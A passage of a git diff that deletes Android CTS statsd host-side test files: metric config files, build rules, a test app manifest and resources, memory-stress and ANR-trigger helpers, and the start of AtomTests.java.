-    }
-  }
-}
-# PROCESS_STATE TOP_SLEEPING
-atom_matcher {
-  id: -3293304223207806916
-  simple_atom_matcher {
-    atom_id: 3
-    field_value_matcher {
-      field: 4
-      eq_int: 1011
-    }
-  }
-}
-# PROC_STATE IN TOP
-atom_matcher {
-  id: -2987742411590785849
-  combination {
-    operation: OR
-    matcher: 509484152027467470
-    matcher: -3293304223207806916
-  }
-}
-predicate {
-  id: -8800411078553365796
-  simple_predicate {
-    start: -2987742411590785849
-    stop: -7829668247086356765
-    count_nesting: false
-    dimensions {
-      field: 3
-      child {
-        field: 2
-      }
-      child {
-        field: 3
-      }
-      child {
-        field: 5
-      }
-    }
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
deleted file mode 100644
index 8444943..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
+++ /dev/null
@@ -1,59 +0,0 @@
-id: 8835981461554930288
-gauge_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  gauge_fields_filter {
-    include_all: true
-  }
-  bucket: ONE_DAY
-  condition: -377136895
-  sampling_type: CONDITION_CHANGE_TO_TRUE
-  # Normal user should have <1000
-  max_num_gauge_atoms_per_bucket: 2000
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 10029
-  }
-}
-atom_matcher {
-  id: -1651300237
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 1
-    }
-  }
-}
-atom_matcher {
-  id: -1651300236
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 2
-    }
-  }
-}
-predicate {
-  id: -377136895
-  simple_predicate {
-    start: -1651300237
-    stop: -1651300236
-    count_nesting: false
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
deleted file mode 100644
index 1effda6..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
+++ /dev/null
@@ -1,59 +0,0 @@
-id: 8835981461554930288
-gauge_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  gauge_fields_filter {
-    include_all: true
-  }
-  bucket: ONE_DAY
-  condition: -377136895
-  sampling_type: CONDITION_CHANGE_TO_TRUE
-  # Normal user should have <1000
-  max_num_gauge_atoms_per_bucket: 2000
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 10034
-  }
-}
-atom_matcher {
-  id: -1651300237
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 1
-    }
-  }
-}
-atom_matcher {
-  id: -1651300236
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 2
-    }
-  }
-}
-predicate {
-  id: -377136895
-  simple_predicate {
-    start: -1651300237
-    stop: -1651300236
-    count_nesting: false
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/apps/emptyapp/Android.bp b/hostsidetests/statsd/apps/emptyapp/Android.bp
deleted file mode 100644
index d01d14d..0000000
--- a/hostsidetests/statsd/apps/emptyapp/Android.bp
+++ /dev/null
@@ -1,28 +0,0 @@
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test_helper_app {
-    name: "CtsStatsdEmptyApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "current",
-    v4_signature: true,
-}
-
-android_test_helper_app {
-    name: "CtsStatsdEmptySplitApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "current",
-    v4_signature: true,
-    package_splits: ["pl"],
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
deleted file mode 100644
index 6e0ef51..0000000
--- a/hostsidetests/statsd/apps/statsdapp/Android.bp
+++ /dev/null
@@ -1,60 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-cc_library_shared {
-    name: "liblmkhelper",
-    srcs: ["jni/alloc_stress_activity.cpp"],
-    cflags: [
-        "-Wall",
-        "-Werror",
-    ],
-    header_libs: ["jni_headers"],
-    shared_libs: ["liblog"],
-    stl: "c++_static",
-    sdk_version: "current",
-}
-
-android_test_helper_app {
-    name: "CtsStatsdApp",
-    defaults: ["cts_defaults"],
-    platform_apis: true,
-    min_sdk_version: "24",
-    srcs: [
-        "src/**/*.java",
-        ":statslog-statsd-cts-java-gen",
-    ],
-    libs: [
-        "android.test.runner",
-        "junit",
-        "org.apache.http.legacy",
-    ],
-    privileged: true,
-    static_libs: [
-        "ctstestrunner-axt",
-        "compatibility-device-util-axt",
-        "androidx.legacy_legacy-support-v4",
-        "androidx.test.rules",
-        "cts-net-utils",
-        "BlobStoreTestUtils"
-    ],
-    jni_libs: ["liblmkhelper"],
-    compile_multilib: "both",
-}
-
-genrule {
-    name: "statslog-statsd-cts-java-gen",
-    tools: ["stats-log-api-gen"],
-    cmd: "$(location stats-log-api-gen) --java $(out) --module cts --javaPackage com.android.server.cts.device.statsd --javaClass StatsLogStatsdCts",
-    out: ["com/android/server/cts/device/statsd/StatsLogStatsdCts.java"],
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml b/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
deleted file mode 100644
index 2b479bd..0000000
--- a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
+++ /dev/null
@@ -1,112 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.server.cts.device.statsd"
-          android:versionCode="10" >
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.BLUETOOTH"/>
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
-    <uses-permission android:name="android.permission.CAMERA"/>
-    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
-    <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.CONFIGURE_DISPLAY_BRIGHTNESS" />
-    <uses-permission android:name="android.permission.DUMP" /> <!-- must be granted via pm grant -->
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.READ_SYNC_STATS" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-    <uses-permission android:name="android.permission.VIBRATE" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
-    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
-
-    <application android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
-
-        <service android:name=".StatsdCtsBackgroundService" android:exported="true" />
-        <activity android:name=".StatsdCtsForegroundActivity" android:exported="true" />
-        <service android:name=".StatsdCtsForegroundService"
-                 android:foregroundServiceType="camera" android:exported="true" />
-
-        <activity
-            android:name=".VideoPlayerActivity"
-            android:label="@string/app_name"
-            android:resizeableActivity="true"
-            android:supportsPictureInPicture="true"
-            android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation"
-            android:launchMode="singleTop" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-
-        <activity android:name=".DaveyActivity" android:exported="true" />
-        <activity android:name=".HiddenApiUsedActivity" android:exported="true" />
-        <activity
-            android:name=".ANRActivity"
-            android:label="ANR Test Activity"
-            android:launchMode="singleInstance"
-            android:process=":ANRProcess"
-            android:exported="true"
-          />
-
-        <service android:name=".StatsdAuthenticator"
-            android:exported="false">
-            <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
-            </intent-filter>
-
-            <meta-data android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator" />
-        </service>
-        <service android:name="StatsdSyncService"
-            android:exported="false" >
-            <intent-filter>
-                <action android:name="android.content.SyncAdapter" />
-            </intent-filter>
-            <meta-data android:name="android.content.SyncAdapter"
-                android:resource="@xml/syncadapter" />
-        </service>
-
-        <provider android:name=".StatsdProvider"
-            android:authorities="com.android.server.cts.device.statsd.provider" />
-
-        <service android:name=".StatsdJobService"
-            android:permission="android.permission.BIND_JOB_SERVICE" />
-
-        <service android:name=".DummyCallscreeningService"
-                 android:permission="android.permission.BIND_SCREENING_SERVICE">
-            <intent-filter>
-                <action android:name="android.telecom.CallScreeningService" />
-            </intent-filter>
-        </service>
-
-        <service android:name=".IsolatedProcessService" android:isolatedProcess="true" />
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.server.cts.device.statsd"
-                     android:label="CTS tests of android.os.statsd stats collection">
-        <meta-data android:name="listener"
-                   android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>/>
-</manifest>
diff --git a/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp b/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp
deleted file mode 100644
index b98a04b..0000000
--- a/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-#include <algorithm>
-#include <cstring>
-#include <fstream>
-#include <iostream>
-#include <jni.h>
-#include <numeric>
-#include <sstream>
-#include <string>
-#include <tuple>
-#include <unistd.h>
-
-#include <android/log.h>
-#define LOG(...) __android_log_write(ANDROID_LOG_INFO, "ALLOC-STRESS", __VA_ARGS__)
-
-using namespace std;
-
-size_t s = 4 * (1 << 20); // 4 MB
-void *gptr;
-extern "C"
-JNIEXPORT void JNICALL
-Java_com_android_server_cts_device_statsd_StatsdCtsBackgroundService_cmain(JNIEnv* , jobject /* this */)
-{
-    long long allocCount = 0;
-    while (1) {
-        char *ptr = (char *)malloc(s);
-        memset(ptr, (int)allocCount >> 10, s);
-        for (int i = 0; i < s; i += 4096) {
-            *((long long *)&ptr[i]) = allocCount + i;
-        }
-        std::stringstream ss;
-        ss << "total alloc: " << allocCount / (1 << 20);
-        LOG(ss.str().c_str());
-        gptr = ptr;
-        allocCount += s;
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml b/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml
deleted file mode 100644
index a029c80..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
-    android:orientation="vertical">
-
-    <FrameLayout
-        android:id="@+id/video_frame"
-        android:layout_width="fill_parent"
-        android:layout_height="fill_parent">
-
-        <VideoView
-            android:id="@+id/video_player_view"
-            android:layout_width="fill_parent"
-            android:layout_height="fill_parent" />
-    </FrameLayout>
-</RelativeLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4 b/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4
deleted file mode 100644
index 0bec670..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3 b/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3
deleted file mode 100644
index d20f772..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml b/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml
deleted file mode 100644
index e769146..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<resources>
-  <declare-styleable name="DaveyView">
-    <attr name="causeDavey" format="boolean" />
-  </declare-styleable>
-</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml b/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml
deleted file mode 100644
index e40d2ac..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources xmlns:android="http://schemas.android.com/apk/res/android"
-           xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
-    <string name="app_name">CTS Statsd Atoms App</string>
-</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml b/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml
deleted file mode 100644
index 71c73d7..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-          http://www.apache.org/licenses/LICENSE-2.0
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="com.android.cts.statsd"
-    android:label="@string/app_name" />
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml b/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml
deleted file mode 100644
index d8cb52e..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
-    android:contentAuthority= "com.android.server.cts.device.statsd.provider"
-    android:accountType="com.android.cts.statsd"
-/>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java
deleted file mode 100644
index 78b2d2d..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.view.WindowManager;
-
-public class ANRActivity extends Activity {
-    private static final String TAG = "ANRActivity";
-    private static final String ACTION_ANR = "action_anr";
-
-
-    @Override
-    public void onCreate(Bundle bundle) {
-        super.onCreate(bundle);
-
-        registerReceiver(new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                while (true) {
-                  SystemClock.sleep(2);
-                }
-            }
-        }, new IntentFilter(ACTION_ANR));
-
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
-                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
deleted file mode 100644
index 70bf047..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ /dev/null
@@ -1,1061 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
-import android.app.ActivityManager;
-import android.app.ActivityManager.RunningServiceInfo;
-import android.app.AlarmManager;
-import android.app.AppOpsManager;
-import android.app.PendingIntent;
-import android.app.blob.BlobStoreManager;
-import android.app.job.JobInfo;
-import android.app.job.JobScheduler;
-import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.le.BluetoothLeScanner;
-import android.bluetooth.le.ScanCallback;
-import android.bluetooth.le.ScanFilter;
-import android.bluetooth.le.ScanResult;
-import android.bluetooth.le.ScanSettings;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.ApplicationInfo;
-import android.hardware.camera2.CameraCharacteristics;
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
-import android.location.GnssStatus;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.media.MediaPlayer;
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.net.cts.util.CtsNetUtils;
-import android.net.wifi.WifiManager;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.ParcelFileDescriptor;
-import android.os.PowerManager;
-import android.os.Process;
-import android.os.SystemClock;
-import android.os.VibrationEffect;
-import android.os.Vibrator;
-import android.text.TextUtils;
-import android.util.ArrayMap;
-import android.util.Log;
-import android.util.StatsEvent;
-import android.util.StatsLog;
-
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.utils.blob.DummyBlobData;
-
-import com.google.common.io.BaseEncoding;
-
-import org.junit.Test;
-
-import java.net.HttpURLConnection;
-import java.net.URL;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.BiConsumer;
-
-public class AtomTests {
-    private static final String TAG = AtomTests.class.getSimpleName();
-
-    private static final String MY_PACKAGE_NAME = "com.android.server.cts.device.statsd";
-
-    private static final Map<String, Integer> APP_OPS_ENUM_MAP = new ArrayMap<>();
-    static {
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_COARSE_LOCATION, 0);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_FINE_LOCATION, 1);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GPS, 2);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_VIBRATE, 3);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CONTACTS, 4);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CONTACTS, 5);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALL_LOG, 6);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALL_LOG, 7);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALENDAR, 8);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALENDAR, 9);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WIFI_SCAN, 10);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_POST_NOTIFICATION, 11);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NEIGHBORING_CELLS, 12);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CALL_PHONE, 13);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_SMS, 14);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SMS, 15);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_SMS, 16);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_EMERGENCY_BROADCAST, 17);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_MMS, 18);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_WAP_PUSH, 19);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SEND_SMS, 20);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_ICC_SMS, 21);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_ICC_SMS, 22);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SETTINGS, 23);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW, 24);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_NOTIFICATIONS, 25);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CAMERA, 26);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO, 27);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PLAY_AUDIO, 28);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CLIPBOARD, 29);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CLIPBOARD, 30);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_MEDIA_BUTTONS, 31);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_AUDIO_FOCUS, 32);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MASTER_VOLUME, 33);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_VOICE_VOLUME, 34);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_RING_VOLUME, 35);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MEDIA_VOLUME, 36);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ALARM_VOLUME, 37);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_NOTIFICATION_VOLUME, 38);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_BLUETOOTH_VOLUME, 39);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WAKE_LOCK, 40);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_LOCATION, 41);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_HIGH_POWER_LOCATION, 42);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_USAGE_STATS, 43);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MUTE_MICROPHONE, 44);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TOAST_WINDOW, 45);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROJECT_MEDIA, 46);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_VPN, 47);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_WALLPAPER, 48);
